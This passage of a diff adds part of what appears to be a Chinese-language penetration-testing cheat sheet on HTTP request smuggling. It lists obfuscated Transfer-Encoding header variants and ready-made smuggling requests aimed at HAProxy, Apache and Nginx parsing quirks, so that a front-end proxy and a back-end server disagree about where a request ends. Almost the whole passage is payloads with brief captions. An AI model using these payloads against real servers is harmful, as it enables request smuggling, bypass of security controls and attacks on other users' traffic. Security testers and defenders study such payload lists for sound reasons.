_使用非标准或被篡改的Transfer-Encoding值,使前端代理回退到CL而后端仍解析为chunked_
|
|
884
|
+
```
|
|
885
|
+
# 垃圾TE值使某些代理忽略TE
|
|
886
|
+
Transfer-Encoding: xchunked
|
|
887
|
+
Transfer-Encoding: chunked-false
|
|
888
|
+
Transfer-Encoding: chunk
|
|
889
|
+
Transfer-Encoding: CHUNKED
|
|
890
|
+
|
|
891
|
+
# 引号包裹
|
|
892
|
+
Transfer-Encoding: "chunked"
|
|
893
|
+
|
|
894
|
+
# 参数附加
|
|
895
|
+
Transfer-Encoding: chunked; q=0.5
|
|
896
|
+
Transfer-Encoding: chunked, x
|
|
897
|
+
|
|
898
|
+
# 编码混淆
|
|
899
|
+
Transfer-\x45ncoding: chunked
|
|
900
|
+
```
|
|
901
|
+
|
|
902
|
+
**3. 代理特定解析绕过**
|
|
903
|
+
_针对特定代理/服务器(HAProxy/Apache/Nginx)的TE头解析特性发送定制化走私payload_
|
|
904
|
+
```
|
|
905
|
+
# HAProxy特定绕过
|
|
906
|
+
POST / HTTP/1.1
|
|
907
|
+
Host: target.com
|
|
908
|
+
Transfer-Encoding:[\x0b]chunked
|
|
909
|
+
|
|
910
|
+
# Apache特定绕过
|
|
911
|
+
POST / HTTP/1.1
|
|
912
|
+
Host: target.com
|
|
913
|
+
Transfer-Encoding:\x00chunked
|
|
914
|
+
|
|
915
|
+
# Nginx特定绕过
|
|
916
|
+
POST / HTTP/1.1
|
|
917
|
+
Host: target.com
|
|
918
|
+
Transfer-Encoding: chunked\x20
|
|
919
|
+
|
|
920
|
+
# 通用尾部空白
|
|
921
|
+
Transfer-Encoding: chunked
|
|
922
|
+
```
|
|
923
|
+
|
|
924
|
+
---
|